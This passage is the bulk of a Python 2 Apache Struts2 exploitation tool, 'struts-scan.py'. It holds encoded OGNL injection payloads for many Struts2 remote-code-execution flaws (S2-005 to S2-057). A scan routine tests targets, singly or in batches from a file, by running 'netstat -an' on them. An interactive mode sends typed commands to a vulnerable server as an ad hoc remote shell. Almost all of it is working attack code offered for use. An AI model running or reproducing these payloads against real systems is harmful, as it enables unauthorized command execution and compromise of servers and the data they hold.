28%23process%3D%23p.start%28%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23process.getInputStream%28%29%29%29%7D''',
75 | "struts2-057-1":'''/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27FUZZINGCOMMAND%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D''',
76 | "struts2-057-2":'''/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27FUZZINGCOMMAND%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D''',
77 | }
78 |
79 | def check(self, pocname, vulnstr):
80 | if vulnstr.find("Active Internet connections") is not -1:
81 | cprint("目标存在" + pocname + "漏洞..[Linux]", "red")
82 | filecontent.writelines(pocname+" success!!!"+"\n")
83 | elif vulnstr.find("Active Connections") is not -1:
84 | cprint("目标存在" + pocname + "漏洞..[Windows]", "red")
85 | filecontent.writelines(pocname+" success!!!"+"\n")
86 | elif vulnstr.find("活动连接") is not -1:
87 | cprint("目标存在" + pocname + "漏洞..[Windows]", "red")
88 | filecontent.writelines(pocname+" success!!!"+"\n")
89 | elif vulnstr.find("LISTEN") is not -1:
90 | cprint("目标存在" + pocname + "漏洞..[未知OS]", "red")
91 | filecontent.writelines(pocname+" success!!!"+"\n")
92 | else:
93 | cprint("目标不存在" + pocname +"漏洞..", "green")
94 |
95 | def scan(self):
96 | cprint('''
97 | ____ _ _ ____
98 | / ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __
99 | \___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \
100 | ___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | |
101 | |____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|
102 | Code by Lucifer.
103 | ''', 'cyan')
104 | cprint("-------检测struts2漏洞--------\n目标url:"+self.url, "cyan")
105 | filecontent.writelines("检测struts2漏洞: "+self.url)
106 | filecontent.write("\n")
107 | try:
108 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=TMOUT, verify=False)
109 | self.check("struts2-005", req.text)
110 | except Exception as e:
111 | cprint("检测struts2-005超时..", "cyan")
112 | print "超时原因: ", e
113 |
114 | try:
115 | req = requests.get(self.url+self.poc['ST2-008-1'], headers=headers, timeout=TMOUT, verify=False)
116 | self.check("struts2-008-1", req.text)
117 | except Exception as e:
118 | cprint("检测struts2-008-1超时..", "cyan")
119 | print "超时原因: ", e
120 |
121 | try:
122 | req = requests.get(self.url+self.poc['ST2-008-2'], headers=headers, timeout=TMOUT, verify=False)
123 | self.check("struts2-008-2", req.text)
124 | except Exception as e:
125 | cprint("检测struts2-008-2超时..", "cyan")
126 | print "超时原因: ", e
127 |
128 | try:
129 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=TMOUT, verify=False)
130 | self.check("struts2-009", req.text)
131 | except Exception as e:
132 | cprint("检测struts2-009超时..", "cyan")
133 | print "超时原因: ", e
134 |
135 | try:
136 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=TMOUT, verify=False)
137 | self.check("struts2-013", req.text)
138 | except Exception as e:
139 | cprint("检测struts2-013超时..", "cyan")
140 | print "超时原因: ", e
141 |
142 | try:
143 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=TMOUT, verify=False)
144 | self.check("struts2-016", req.text)
145 | except Exception as e:
146 | cprint("检测struts2-016超时..", "cyan")
147 | print "超时原因: ", e
148 |
149 | try:
150 | req = requests.get(self.url+'/?redirect:https://www.baidu.com/%23', timeout=TMOUT, verify=False)
151 | if req.status_code == 302:
152 | cprint("目标存在struts2-017漏洞..(只提供检测)", "red")
153 | filecontent.writelines("struts2-017 success!!!\n")
154 | else:
155 | cprint("目标不存在struts2-017漏洞..", "green")
156 | except Exception as e:
157 | cprint("检测struts2-017超时..", "cyan")
158 | print "超时原因: ", e
159 |
160 | try:
161 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=TMOUT, verify=False)
162 | self.check("struts2-019", req.text)
163 | except Exception as e:
164 | cprint("检测struts2-019超时..", "cyan")
165 | print "超时原因: ", e
166 |
167 | try:
168 | req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=TMOUT, verify=False)
169 | self.check("struts2-devmode", req.text)
170 | except Exception as e:
171 | cprint("检测struts2-devmode超时..", "cyan")
172 | print "超时原因: ", e
173 |
174 | try:
175 | req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=TMOUT, verify=False)
176 | self.check("struts2-032", req.text)
177 | except Exception as e:
178 | cprint("检测struts2-032超时..", "cyan")
179 | print "超时原因: ", e
180 |
181 | try:
182 | req = requests.get(self.url+self.poc['ST2-033'], headers=headers, timeout=TMOUT, verify=False)
183 | self.check("struts2-033", req.text)
184 | except Exception as e:
185 | cprint("检测struts2-033超时..", "cyan")
186 | print "超时原因: ", e
187 |
188 | try:
189 | req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=TMOUT, verify=False)
190 | self.check("struts2-037", req.text)
191 | except Exception as e:
192 | cprint("检测struts2-037超时..", "cyan")
193 | print "超时原因: ", e
194 |
195 | try:
196 | req = requests.get(self.url, headers=headers2, timeout=TMOUT, verify=False)
197 | self.check("struts2-045", req.text)
198 | except Exception as e:
199 | cprint("检测struts2-045超时..", "cyan")
200 | print "超时原因: ", e
201 |
202 | try:
203 | headers045 = {
204 | 'Content-Type':'${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("testvuln",1234*1234)}.multipart/form-data',
205 | }
206 | req = requests.get(self.url, headers=headers045, timeout=TMOUT, verify=False)
207 | try:
208 | if r"1522756" in req.headers['testvuln']:
209 | cprint("目标存在struts2-045-2漏洞..", "red")
210 | filecontent.writelines("struts2-045-2 success!!!\n")
211 | except:
212 | pass
213 | except Exception as e:
214 | cprint("检测struts2-045-2超时..", "cyan")
215 | print "超时原因: ", e
216 |
217 | try:
218 | uploadexp = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x000"
219 | files ={"test":(uploadexp, "text/plain")}
220 | req = requests.post(self.url, files=files, timeout=TMOUT, verify=False)
221 | self.check("struts2-046", req.text)
222 | except Exception as e:
223 | cprint("检测struts2-046超时..", "cyan")
224 | print "超时原因: ", e
225 |
226 | try:
227 | vulnurl = urlparse(self.url)[0] + "://" + urlparse(self.url)[1] + "/struts2-showcase/integration/saveGangster.action"
228 | postdata = {
229 | "name":self.poc['ST2-048'],
230 | "age":"1",
231 | "__checkbox_bustedBefore":"true",
232 | "description":"1",
233 | }
234 | req = requests.post(vulnurl, data=postdata, headers=headers, timeout=TMOUT, verify=False)
235 | self.check("struts2-048", req.text)
236 | except Exception as e:
237 | cprint("检测struts2-048超时..", "cyan")
238 | print "超时原因: ", e
239 |
240 | try:
241 | req1 = requests.get(self.url+"?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=TMOUT, verify=False)
242 | req2 = requests.get(self.url+"?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=TMOUT, verify=False)
243 | if req1.status_code == 200 and req2.status_code == 404:
244 | cprint("目标存在struts2-020漏洞..(只提供检测)", "red")
245 | filecontent.writelines("struts2-020 success!!!\n")
246 | else:
247 | cprint("目标不存在struts2-020漏洞..", "green")
248 | except Exception as e:
249 | cprint("检测struts2-020超时..", "cyan")
250 | print "超时原因: ", e
251 |
252 | try:
253 | req = requests.post(self.url, data=self.poc['ST2-052'], headers=headers_052, timeout=TMOUT, verify=False)
254 | if req.status_code == 500 and r"java.security.Provider$Service" in req.text:
255 | cprint("目标存在struts2-052漏洞..(参考metasploit中的struts2_rest_xstream模块)", "red")
256 | filecontent.writelines("struts2-052 success!!!\n")
257 | else:
258 | cprint("目标不存在struts2-052漏洞..", "green")
259 | except Exception as e:
260 | cprint("检测struts2-052超时..", "cyan")
261 | print "超时原因: ", e
262 |
263 | try:
264 | params = [
265 | "id",
266 | "name",
267 | "filename",
268 | "username",
269 | "password",
270 | ]
271 | for param in params:
272 | vulnurl = self.url + "?" + param + "=" + self.poc['ST2-053']
273 | req = requests.get(vulnurl, headers=headers, timeout=TMOUT, verify=False)
274 | tips = "检测struts2-053 post参数: " + param
275 | cprint(tips)
276 | self.check("struts2-053", req.text)
277 | except Exception as e:
278 | cprint("检测struts2-053超时..", "cyan")
279 | print "超时原因: ", e
280 |
281 | try:
282 | surl = self.url[self.url.rfind('/')::]
283 | rurl = self.url.replace(surl, "") + self.poc["struts2-057-1"] + surl
284 | req = requests.get(rurl, timeout=TMOUT, verify=False, allow_redirects=True)
285 | self.check("struts2-057-1", req.text)
286 | except Exception as e:
287 | cprint("检测struts2-057-01超时..", "cyan")
288 | print "超时原因: ", e
289 |
290 | try:
291 | surl = self.url[self.url.rfind('/')::]
292 | rurl = self.url.replace(surl, "") + self.poc["struts2-057-2"] + surl
293 | req = requests.get(rurl, timeout=TMOUT, verify=False, allow_redirects=True)
294 | self.check("struts2-057-2", req.text)
295 | except Exception as e:
296 | cprint("检测struts2-057-2超时..", "cyan")
297 | print "超时原因: ", e
298 |
299 |
300 | def inShell(self, pocname):
301 | cprint('''
302 | ____ _ _ ____
303 | / ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __
304 | \___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \
305 | ___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | |
306 | |____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|
307 | Code by Lucifer.
308 | ''', 'cyan')
309 | cprint("-------struts2 交互式shell--------\n目标url:"+self.url, "cyan")
310 | prompt = "shell >>"
311 |
312 | if pocname == "struts2-005":
313 | while True:
314 | print prompt,
315 | command = raw_input()
316 | command = command.strip()
317 | if command != "exit":
318 | try:
319 | commurl = self.url
320 | req = requests.post(commurl, data=self.shell['struts2-005'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
321 | print req.text
322 | except:
323 | cprint("命令执行失败!!!", "red")
324 | else:
325 | sys.exit(1)
326 |
327 | if pocname == "struts2-008-1":
328 | while True:
329 | print prompt,
330 | command = raw_input()
331 | command = command.strip()
332 | if command != "exit":
333 | try:
334 | commurl = self.url
335 | req = requests.get(commurl+self.shell['struts2-008-1'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
336 | print req.text
337 | except:
338 | cprint("命令执行失败!!!", "red")
339 | else:
340 | sys.exit(1)
341 |
342 | if pocname == "struts2-008-2":
343 | while True:
344 | print prompt,
345 | command = raw_input()
346 | command = command.strip()
347 | if command != "exit":
348 | try:
349 | commurl = self.url
350 | req = requests.get(commurl+self.shell['struts2-008-2'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
351 | print req.text
352 | except:
353 | cprint("命令执行失败!!!", "red")
354 | else:
355 | sys.exit(1)
356 |
357 | if pocname == "struts2-009":
358 | while True:
359 | print prompt,
360 | command = raw_input()
361 | command = command.strip()
362 | if command != "exit":
363 | try:
364 | commurl = self.url
365 | req = requests.post(commurl, data=self.shell['struts2-009'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
366 | print req.text
367 | except:
368 | cprint("命令执行失败!!!", "red")
369 | else:
370 | sys.exit(1)
371 |
372 | if pocname == "struts2-013":
373 | while True:
374 | print prompt,
375 | command = raw_input()
376 | command = command.strip()
377 | if command != "exit":
378 | try:
379 | commurl = self.url
380 | req = requests.post(commurl, data=self.shell['struts2-013'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
381 | print req.text
382 | except:
383 | cprint("命令执行失败!!!", "red")
384 | else:
385 | sys.exit(1)
386 |
387 | if pocname == "struts2-016":
388 | while True:
389 | print prompt,
390 | command = raw_input()
391 | command = command.strip()
392 | if command != "exit":
393 | try:
394 | commurl = self.url
395 | req = requests.post(commurl, data=self.shell['struts2-016'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
396 | print req.text
397 | except:
398 | cprint("命令执行失败!!!", "red")
399 | else:
400 | sys.exit(1)
401 |
402 | if pocname == "struts2-019":
403 | while True:
404 | print prompt,
405 | command = raw_input()
406 | command = command.strip()
407 | if command != "exit":
408 | try:
409 | command = re.sub(r"\s{2,}", " ", command).replace(" ", "','")
410 | req = requests.post(self.url, data=self.shell['struts2-019'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=TMOUT, verify=False)
411 | print req.text
412 | except:
413 | cprint("命令执行失败!!!", "red")
414 | else:
415 | sys.exit(1)
416 |
417 | if pocname == "struts2-devmode":
418 | while True:
419 | print prompt,
420 | command = raw_input()
421 | command = command.strip()
422 | if command != "exit":
423 | try:
424 | commurl = self.url+self.shell['struts2-devmode'].replace("FUZZINGCOMMAND", command)
425 | req = requests.get(commurl, headers=headers, timeout=TMOUT, verify=False)
426 | print req.text
427 | except:
428 | cprint("命令执行失败!!!", "red")
429 | else:
430 | sys.exit(1)
431 |
432 | if pocname == "struts2-032":
433 | while True:
434 | print prompt,
435 | command = raw_input()
436 | command = command.strip()
437 | if command != "exit":
438 | try:
439 | commurl = self.url+self.shell['struts2-032'].replace("FUZZINGCOMMAND", command)
440 | req = requests.get(commurl, headers=headers, timeout=TMOUT, verify=False)
441 | print req.text
442 | except:
443 | cprint("命令执行失败!!!", "red")
444 | else:
445 | sys.exit(1)
446 |
447 | if pocname == "struts2-033":
448 | while True:
449 | print prompt,
450 | command = raw_input()
451 | command = command.strip()
452 | if command != "exit":
453 | try:
454 | commurl = self.url+self.shell['struts2-033'].replace("FUZZINGCOMMAND", command)
455 | req = requests.get(commurl, headers=headers, timeout=TMOUT, verify=False)
456 | print req.text
457 | except:
458 | cprint("命令执行失败!!!", "red")
459 | else:
460 | sys.exit(1)
461 |
462 | if pocname == "struts2-037":
463 | while True:
464 | print prompt,
465 | command = raw_input()
466 | command = command.strip()
467 | if command != "exit":
468 | try:
469 | commurl = self.url+self.shell['struts2-037'].replace("FUZZINGCOMMAND", command)
470 | req = requests.get(commurl, headers=headers, timeout=TMOUT, verify=False)
471 | print req.text
472 | except:
473 | cprint("命令执行失败!!!", "red")
474 | else:
475 | sys.exit(1)
476 |
477 | if pocname == "struts2-045":
478 | while True:
479 | print prompt,
480 | command = raw_input()
481 | command = command.strip()
482 | if command != "exit":
483 | headers_exp = {
484 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
485 | "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
486 | "Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
487 | }
488 | try:
489 | req = requests.get(self.url, headers=headers_exp, timeout=TMOUT, verify=False)
490 | print req.text
491 | except:
492 | cprint("命令执行失败!!!", "red")
493 | else:
494 | sys.exit(1)
495 |
496 | if pocname == "struts2-045-2":
497 | while True:
498 | print prompt,
499 | command = raw_input()
500 | command = command.strip()
501 | if command != "exit":
502 | headers_exp = {
503 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
504 | "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
505 | "Content-Type":"%{(#dm='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
506 | }
507 | try:
508 | req = requests.get(self.url, headers=headers_exp, timeout=TMOUT, verify=False)
509 | print req.text
510 | except:
511 | cprint("命令执行失败!!!", "red")
512 | else:
513 | sys.exit(1)
514 |
515 | if pocname == "struts2-046":
516 | while True:
517 | print prompt,
518 | command = raw_input()
519 | command = command.strip()
520 | if command != "exit":
521 | try:
522 | uploadexp = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x000"
523 | files ={"test":(uploadexp, "text/plain")}
524 | req = requests.post(self.url, files=files, timeout=TMOUT, verify=False)
525 | print req.text
526 | except:
527 | cprint("命令执行失败!!!", "red")
528 | else:
529 | sys.exit(1)
530 |
531 | if pocname == "struts2-048":
532 | while True:
533 | print prompt,
534 | command = raw_input()
535 | command = command.strip()
536 | if command != "exit":
537 | try:
538 | vulnurl = urlparse(self.url)[0] + "://" + urlparse(self.url)[1] + "/struts2-showcase/integration/saveGangster.action"
539 | postdata = {
540 | "name":self.shell['struts2-048'].replace("FUZZINGCOMMAND", command),
541 | "age":"1",
542 | "__checkbox_bustedBefore":"true",
543 | "description":"1",
544 | }
545 | req = requests.post(vulnurl, data=postdata, headers=headers, timeout=TMOUT, verify=False)
546 | print req.text
547 | except:
548 | cprint("命令执行失败!!!", "red")
549 | else:
550 | sys.exit(1)
551 |
552 | if pocname == "struts2-053":
553 | param = raw_input("请指定struts2-053参数: ")
554 | while True:
555 | print prompt,
556 | command = raw_input()
557 | command = command.strip()
558 | if command != "exit":
559 | try:
560 | vulnurl = self.url + "?" + param + "=" + self.shell['struts2-053'].replace("FUZZINGCOMMAND", command)
561 | req = requests.get(vulnurl, headers=headers, timeout=TMOUT, verify=False)
562 | pattern = r'81dc9bdb52d04dc2([\s\S]*)0036dbd8313ed055'
563 | m = re.search(pattern,req.text)
564 | if m:
565 | print m.group(1).strip()
566 | print "\n"
567 | except:
568 | cprint("命令执行失败!!!", "red")
569 | else:
570 | sys.exit(1)
571 |
572 | if pocname == "struts2-057-1":
573 | while True:
574 | print prompt,
575 | command = raw_input()
576 | command = command.strip()
577 | if command != "exit":
578 | try:
579 | surl = self.url[self.url.rfind('/')::]
580 | rurl = self.url.replace(surl, "") + self.shell["struts2-057-1"].replace("FUZZINGCOMMAND", command) + surl
581 | req = requests.get(rurl, headers=headers, timeout=TMOUT, verify=False)
582 | print req.text
583 | except:
584 | cprint("命令执行失败!!!", "red")
585 | else:
586 | sys.exit(1)
587 |
588 | if pocname == "struts2-057-2":
589 | while True:
590 | print prompt,
591 | command = raw_input()
592 | command = command.strip()
593 | if command != "exit":
594 | try:
595 | surl = self.url[self.url.rfind('/')::]
596 | rurl = self.url.replace(surl, "") + self.shell["struts2-057-2"].replace("FUZZINGCOMMAND", command) + surl
597 | req = requests.get(rurl, headers=headers, timeout=TMOUT, verify=False)
598 | print req.text
599 | except:
600 | cprint("命令执行失败!!!", "red")
601 | else:
602 | sys.exit(1)
603 |
604 | if __name__ == "__main__":
605 | filecontent = open("success.txt", "a+")
606 | try:
607 | if sys.argv[1] == "-f":
608 | with open(sys.argv[2]) as f:
609 | for line in f.readlines():
610 | line = line.strip()
611 | strutsVuln = struts_baseverify(line)
612 | strutsVuln.scan()
613 | elif sys.argv[1] == "-u" and sys.argv[3] == "-i":
614 | strutsVuln = struts_baseverify(sys.argv[2].strip())
615 | strutsVuln.inShell(sys.argv[4].strip())
616 | else:
617 | strutsVuln = struts_baseverify(sys.argv[1].strip())
618 | strutsVuln.scan()
619 | except Exception as e:
620 | figlet = '''
621 | ____ _ _ ____
622 | / ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __
623 | \___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \
624 | ___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | |
625 | |____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|
626 | Code by Lucifer.
627 | '''
628 | cprint(figlet,'cyan')
629 | print "Usage: python struts-scan.py http://example.com/index.action 检测"
630 | print " python struts-scan.py -u http://example.com/index.action -i struts2-045 进入指定漏洞交互式shell"
631 | print " python struts-scan.py -f url.txt 批量检测"
632 |
--------------------------------------------------------------------------------